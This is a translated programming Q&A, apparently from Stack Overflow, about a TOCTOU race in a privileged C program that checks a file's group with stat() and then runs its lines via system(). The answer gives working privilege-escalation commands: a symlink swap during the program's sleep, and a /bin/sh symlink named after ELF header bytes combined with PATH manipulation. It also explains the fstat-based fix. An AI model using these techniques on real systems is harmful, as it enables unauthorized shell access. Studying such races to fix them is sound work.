如何在 gid 检查下替换文件?

How to replace a file under gid checking?

如下代码,有一个gid检查,为了通过这个检查,我在执行的时候必须把当前正在执行的文件作为参数传入。
我想知道如何替换此文件以获得 bash? 这是一个明显的竞争条件,但我对此一无所知,因为符号链接不适合这种情况。



#define BUFSIZE 512

int main(int argc, char **argv)
{
  struct stat buf;
  char cmd[BUFSIZE];
  FILE *f = NULL;

  if (argv[1] == NULL)
  {
    fprintf(stderr, "error");
    exit(1);
  }

  if (stat(argv[1], &buf))
  {
    fprintf(stderr, "error\n");
    exit(1);
  }

  if (buf.st_gid != getegid())
  {
    fprintf(stderr, "The file must be owned by group %d.\n", getegid());
    exit(1);
  }

  fprintf(stderr, "All checks passed!\n");

  sleep(3);

  if ((f = fopen(argv[1], "r")) == NULL)
  {
    fprintf(stderr, "Cannot open file.\n");
    return 1;
  }

  while (fgets(cmd, BUFSIZE, f))
  {
    if ((cmd[0] == '\n') || (cmd[0] == 0x7f))
    {
      fprintf(stderr, "empty line, quitting!\n");
      return 2;
    }
    system(cmd);
  }

  printf("Done!\n");
  return 0;
}

你可以同时使用 symlink 和 hard link(假设你可以 hardlink 它)。

假设程序是 'program',具有该 gid 的文件本身 'program' 和带有您的命令的文件 'evil.sh':

ln -s /usr/local/bin/program readthis  # Make readthis a symlink to program
/usr/local/bin/program readthis &  # Launch in background
sleep 1  # Probably enough to get program into the sleep
rm readthis
ln -s evil.sh readthis  # Alternatively, mv it
# Profit!

请注意它使用的是 stat(),因此它将遵循 symlinks。如果它使用 lstat(),您仍然可以使用 symlinks,但需要使用项目的文件夹。

为了真正修复竞争条件,程序应该 open() 文件并在其上使用 fstat(),然后将相同的 fd 转换为 FILE*fdopen()(或者,首先 fopen() 文件,然后 fstat(fileno(f), &buf) 进行权限检查)。

最后,虽然不是预期的解决方案,但您也可以通过以下方式利用此程序:

ln -s /bin/sh  $'\x7f\x45\x4c\x46\x02\x01\x01'
export PATH="$PATH:$PWD"
/usr/local/bin/program /usr/local/bin/program

因为编译后的程序可能以这些值开始(只看编译后的二进制文件的开头)。这不需要竞争条件。

如果有带有 运行 配方的 gid 文件,并且它们不使用绝对 pahs,您也可以通过修改后的 $PATH.[=21= 来利用这些文件]